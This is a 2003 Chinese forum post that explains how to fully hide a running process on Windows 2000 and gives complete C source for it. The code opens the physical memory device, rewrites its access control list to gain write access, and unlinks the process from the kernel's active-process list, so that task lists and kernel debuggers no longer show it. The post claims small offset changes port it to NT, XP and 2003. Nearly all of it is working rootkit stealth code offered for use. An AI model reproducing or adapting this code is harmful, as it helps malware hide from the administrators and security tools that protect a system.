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发信人: williamlong(蓝色月光) 整理人: williamlong(2004-06-15 19:06:36), 站内信件 |
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创建时间：2003-09-15 文章属性：原创 文章提交：pjf_ (pjf_at_ustc.edu) 十分抱歉，匆匆写了几句代码有点bug，即“ZwOpenSection(&g_hMPM,SECTION_MAP_WRITE|SECTION_MAP_WRITE,&attributes)”使得第一次运行返回失败，请删除原文，改正为： pjf ([email protected]) 上次在CVC提到了这东西，因为很简单觉得没必要多说什么，但有人要求写全，所以补充几句： 很多帖子对此论题作了分析，比如APIHOOK、系统服务HOOK等等，至于远线程注入没有自己的进程，本不算“隐藏”。 这里写一个2000下的完全隐藏方法，很简单，也没什么新意。 在讲解之前，首先提一提一些结构，进程执行体块中有数个进程相关链，其中之一是活动进程链。此链的重要 作用之一就是在查询系统信息时供遍历当前活动进程，很有意思的是M$可能因效率因素使它被排除出进程核心块， 意味进线程切换等操作时并不利用它，进一步说改写它也不该有不可忽视的问题（此即本方案的基础）。 怎么做很明显了，在活动进程双向链中删除想要得隐藏的进程既可，核心调试器（如softice/proc）亦查不出来。 2000下的隐藏当前进程的代码如下： #include<windows.h> #include<Accctrl.h> #include<Aclapi.h> #define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0) #define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L) #define STATUS_ACCESS_DENIED ((NTSTATUS)0xC0000022L) typedef LONG NTSTATUS; typedef struct _IO_STATUS_BLOCK { NTSTATUS Status; ULONG Information; } IO_STATUS_BLOCK, *PIO_STATUS_BLOCK; typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING, *PUNICODE_STRING; #define OBJ_INHERIT 0x00000002L #define OBJ_PERMANENT 0x00000010L #define OBJ_EXCLUSIVE 0x00000020L #define OBJ_CASE_INSENSITIVE 0x00000040L #define OBJ_OPENIF 0x00000080L #define OBJ_OPENLINK 0x00000100L #define OBJ_KERNEL_HANDLE 0x00000200L #define OBJ_VALID_ATTRIBUTES 0x000003F2L typedef struct _OBJECT_ATTRIBUTES { ULONG Length; HANDLE RootDirectory; PUNICODE_STRING ObjectName; ULONG Attributes; PVOID SecurityDescriptor; PVOID SecurityQualityOfService; } OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES; typedef NTSTATUS (CALLBACK* ZWOPENSECTION)( OUT PHANDLE SectionHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes ); typedef VOID (CALLBACK* RTLINITUNICODESTRING)( IN OUT PUNICODE_STRING DestinationString, IN PCWSTR SourceString ); RTLINITUNICODESTRING RtlInitUnicodeString; ZWOPENSECTION ZwOpenSection; HMODULE g_hNtDLL = NULL; PVOID g_pMapPhysicalMemory = NULL; HANDLE g_hMPM = NULL; BOOL InitNTDLL() { g_hNtDLL = LoadLibrary( "ntdll.dll" ); if ( !g_hNtDLL ) { return FALSE; } RtlInitUnicodeString = (RTLINITUNICODESTRING)GetProcAddress( g_hNtDLL, "RtlInitUnicodeString"); ZwOpenSection = (ZWOPENSECTION)GetProcAddress( g_hNtDLL, "ZwOpenSection"); return TRUE; } VOID CloseNTDLL() { if(g_hNtDLL != NULL) { FreeLibrary(g_hNtDLL); } } VOID SetPhyscialMemorySectionCanBeWrited(HANDLE hSection) { PACL pDacl=NULL; PACL pNewDacl=NULL; PSECURITY_DESCRIPTOR pSD=NULL; DWORD dwRes; EXPLICIT_ACCESS ea; if(dwRes=GetSecurityInfo(hSection,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION, NULL,NULL,&pDacl,NULL,&pSD)!=ERROR_SUCCESS) { goto CleanUp; } ZeroMemory(&ea, sizeof(EXPLICIT_ACCESS)); ea.grfAccessPermissions = SECTION_MAP_WRITE; ea.grfAccessMode = GRANT_ACCESS; ea.grfInheritance= NO_INHERITANCE; ea.Trustee.TrusteeForm = TRUSTEE_IS_NAME; ea.Trustee.TrusteeType = TRUSTEE_IS_USER; ea.Trustee.ptstrName = "CURRENT_USER"; if(dwRes=SetEntriesInAcl(1,&ea,pDacl,&pNewDacl)!=ERROR_SUCCESS) { goto CleanUp; } if(dwRes=SetSecurityInfo(hSection,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,NULL,NULL,pNewDacl,NULL)!=ERROR_SUCCESS) { goto CleanUp; } CleanUp: if(pSD) LocalFree(pSD); if(pNewDacl) LocalFree(pNewDacl); } HANDLE OpenPhysicalMemory() { NTSTATUS status; UNICODE_STRING physmemString; OBJECT_ATTRIBUTES attributes; RtlInitUnicodeString( &physmemString, L"\\Device\\PhysicalMemory" ); attributes.Length = sizeof(OBJECT_ATTRIBUTES); attributes.RootDirectory = NULL; attributes.ObjectName = &physmemString; attributes.Attributes = 0; attributes.SecurityDescriptor = NULL; attributes.SecurityQualityOfService = NULL; status = ZwOpenSection(&g_hMPM,SECTION_MAP_READ|SECTION_MAP_WRITE,&attributes); if(status == STATUS_ACCESS_DENIED){ status = ZwOpenSection(&g_hMPM,READ_CONTROL|WRITE_DAC,&attributes); SetPhyscialMemorySectionCanBeWrited(g_hMPM); CloseHandle(g_hMPM); status =ZwOpenSection(&g_hMPM,SECTION_MAP_READ|SECTION_MAP_WRITE,&attributes); } if( !NT_SUCCESS( status )) { return NULL; } g_pMapPhysicalMemory = MapViewOfFile( g_hMPM, 4, 0, 0x30000, 0x1000); if( g_pMapPhysicalMemory == NULL ) { return NULL; } return g_hMPM; } PVOID LinearToPhys(PULONG BaseAddress,PVOID addr) { ULONG VAddr=(ULONG)addr,PGDE,PTE,PAddr; PGDE=BaseAddress[VAddr>>22]; if ((PGDE&1)!=0) { ULONG tmp=PGDE&0x00000080; if (tmp!=0) { PAddr=(PGDE&0xFFC00000)+(VAddr&0x003FFFFF); } else { PGDE=(ULONG)MapViewOfFile(g_hMPM, 4, 0, PGDE & 0xfffff000, 0x1000); PTE=((PULONG)PGDE)[(VAddr&0x003FF000)>>12]; if ((PTE&1)!=0) { PAddr=(PTE&0xFFFFF000)+(VAddr&0x00000FFF); UnmapViewOfFile((PVOID)PGDE); } else return 0; } } else return 0; return (PVOID)PAddr; } ULONG GetData(PVOID addr) { ULONG phys=(ULONG)LinearToPhys((PULONG)g_pMapPhysicalMemory,(PVOID)addr); PULONG tmp=(PULONG)MapViewOfFile(g_hMPM, 4, 0, phys & 0xfffff000, 0x1000); if (tmp==0) return 0; ULONG ret=tmp[(phys & 0xFFF)>>2]; UnmapViewOfFile(tmp); return ret; } BOOL SetData(PVOID addr,ULONG data) { ULONG phys=(ULONG)LinearToPhys((PULONG)g_pMapPhysicalMemory,(PVOID)addr); PULONG tmp=(PULONG)MapViewOfFile(g_hMPM, FILE_MAP_WRITE, 0, phys & 0xfffff000, 0x1000); if (tmp==0) return FALSE; tmp[(phys & 0xFFF)>>2]=data; UnmapViewOfFile(tmp); return TRUE; } BOOL HideProcessAtAll() { if (InitNTDLL()) { if (OpenPhysicalMemory()==0) { return FALSE; } ULONG thread=GetData((PVOID)0xFFDFF124); ULONG process=GetData(PVOID(thread+0x22c)); ULONG fw=GetData(PVOID(process+0xa0)),bw=GetData(PVOID(process+0xa4)); SetData(PVOID(fw+4),bw); SetData(PVOID(bw),fw); UnmapViewOfFile(g_pMapPhysicalMemory); CloseHandle(g_hMPM); CloseNTDLL(); } return TRUE; } 调用HideProcessAtAll即隐藏当前进程，如若一运行就隐藏，会修改到进程活动链表头，运行一段时间 后可能出现些小问题，怎么解决，留作“课后习题”了^_^ 注意默认物理地址0x30000为一页目录，在大多数情况时这样，但是是有例外的！怎么解决亦留作“...” 吧，不多废话了。 稍微改一下偏移可移植于NT/XP/2003。 ---- 青青子衿，悠悠我心 网易社区精华区下载程序 
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